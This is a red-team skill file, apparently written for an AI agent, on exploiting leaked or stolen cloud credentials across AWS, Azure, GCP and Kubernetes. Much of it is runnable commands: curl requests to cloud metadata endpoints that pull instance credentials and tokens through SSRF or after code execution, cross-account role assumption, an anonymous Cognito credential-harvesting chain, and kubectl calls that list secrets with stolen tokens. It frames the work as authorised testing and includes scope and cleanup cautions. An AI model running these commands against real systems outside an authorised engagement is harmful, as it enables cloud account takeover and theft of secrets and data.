cloud-iam-deep

Imported from hirotomasato/hiroto (skills/cloud-iam-deep/SKILL.md). Install upstream with npx skills add hirotomasato/hiroto --skill cloud-iam-deep. Copyright stays with the author.

When to use

Trigger when:

• A cloud credential surfaces (key, secret, token, JSON file)
• SSRF chain reaches IMDS / metadata endpoint
• APK / git-leak reveals embedded cloud key
• Recon shows public S3/GCS/Azure-blob with permissions you can verify
• A Kubernetes API or service-account token is exposed
• Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for:

• On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
• Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

Credential identification (first 60 seconds)

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode kid claim to see issuer

AWS — read-only validation (the safe first step)

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20

AWS privesc patterns (24+ documented — iam_privesc techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

AWS — STS / cross-account / role chaining

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.

AWS IMDSv1 / IMDSv2 abuse via SSRF

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.

Azure — credential validation

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table

Azure — Managed Identity abuse

# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data

Azure privesc patterns

GCP — service account JSON

# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:<sa-email>"

# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head

GCP privesc patterns

GCP IMDS attack (via SSRF or post-RCE)

# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Kubernetes — exposed API / SA token

# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"

# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"

# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A

K8s privesc patterns

Tooling reference

Anti-patterns

• DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
• DO NOT enumerate everything in scope of an account — aws iam list-users against an account with 50,000 users is loud and slow
• DO NOT use aws * with non-test creds without confirming you have the right account — accidentally hitting prod = career risk
• DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
• DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
• DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with mid-engagement-ir-detection
• DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only

Bridge to neighboring skills

• hunt-cloud-misconfig — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
• hunt-ssrf — SSRF→IMDS is the canonical chain into cloud control plane
• apk-redteam-pipeline — APK secret extraction commonly yields cloud creds
• supply-chain-attack-recon — CI/CD pipelines store cloud creds; finding them is a separate workflow
• m365-entra-attack — Azure cross-product; Managed Identity tokens cross over to Graph
• mid-engagement-ir-detection — cloud control plane activity is monitored; expect mitigations

Severity scoring guidance

Cleanup discipline (deliverable hygiene)

If during the engagement you:

• Used sts:AssumeRole to chain — note the role names and times in IoCs
• Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
• Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems

Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.

AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)

AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via cognito-identity:GetId → cognito-identity:GetCredentialsForIdentity. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.

Step 1 — Discover the IdentityPoolId

The IdentityPoolId is a public identifier by AWS design (<region>:<UUID> format). The find:

# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .

# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/

# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map

Wayback CDX captures, GitHub code-search for the apex domain + IdentityPoolId, and JS chunks linked from index.html are the high-yield search corpora.

Step 2 — GetId (unauth)

aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request

--no-sign-request is critical — tells the CLI not to look for ambient AWS credentials. Returns {"IdentityId": "us-east-1:<uuid>"}. If this returns NotAuthorizedException, unauth identities are disabled — stop, not exploitable.

Step 3 — GetCredentialsForIdentity

aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request

Returns real STS credentials with ~1 hour TTL: AccessKeyId (ASIA…), SecretKey, SessionToken, Expiration.

Step 4 — Confirm role ARN

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

Returns role ARN like arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials. Account ID is now disclosed.

Step 5 — Enumerate role permissions

Direct (rare):

aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role

Blackbox (the normal case) — fire a permission probe across high-value services and observe AccessDenied vs success. Pacu's iam__enum_permissions --role-name <name> brute-forces ~500 IAM actions; enumerate-iam.py by Andrés Riancho covers ~1000. Common over-permissions: s3:Get*/s3:List*, dynamodb:Scan, lambda:InvokeFunction, appsync:GraphQL, cognito-idp:AdminCreateUser, iam:PassRole, kms:Decrypt.

Severity rubric

Disclosed cases / authoritative writeups

1. Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class. GetCredentialsForIdentity against unauth pools with default * policies. andresriancho.com
2. Rhino Security Labs — Pacu cognito__enum_identity_pools module — production tooling that automates Steps 1-5 of the chain. github.com/RhinoSecurityLabs/pacu
3. NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. notsosecure.com
4. HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook covering Steps 1-5. cloud.hacktricks.wiki
5. Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had cognito-idp:AdminConfirmSignUp + AdminUpdateUserAttributes on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
6. Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. securitylabs.datadoghq.com

Reporting tip

Always include in the report:

• sts get-caller-identity output (proves the role ARN + account ID)
• Pacu iam__enum_permissions JSON output (proves the granted actions)
• A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)

Without all three, triagers downgrade to Medium. The 60-second test is GetId → GetCredentialsForIdentity → sts get-caller-identity. If you reach step 3 anonymously, you have a finding.

Cross-reference: hunt-cloud-misconfig → CloudWatch RUM weaponization covers the specific RUM-embedded variant of this attack class.

Related Skills & Chains

• hunt-ssrf — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → cloud-iam-deep privilege-escalation patterns reach prod S3 / Secrets Manager.
• hunt-cloud-misconfig — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (.env in public S3) + leaked AWS access key → IAM enumeration → iam:PassRole chain to admin.
• supply-chain-attack-recon — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission → cloud-iam-deep cross-account role assumption.
• m365-entra-attack — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token → m365-entra-attack Graph API enumeration → cross-tenant escalation.
• security-arsenal — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with aws cli one-liners).
• triage-validation — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.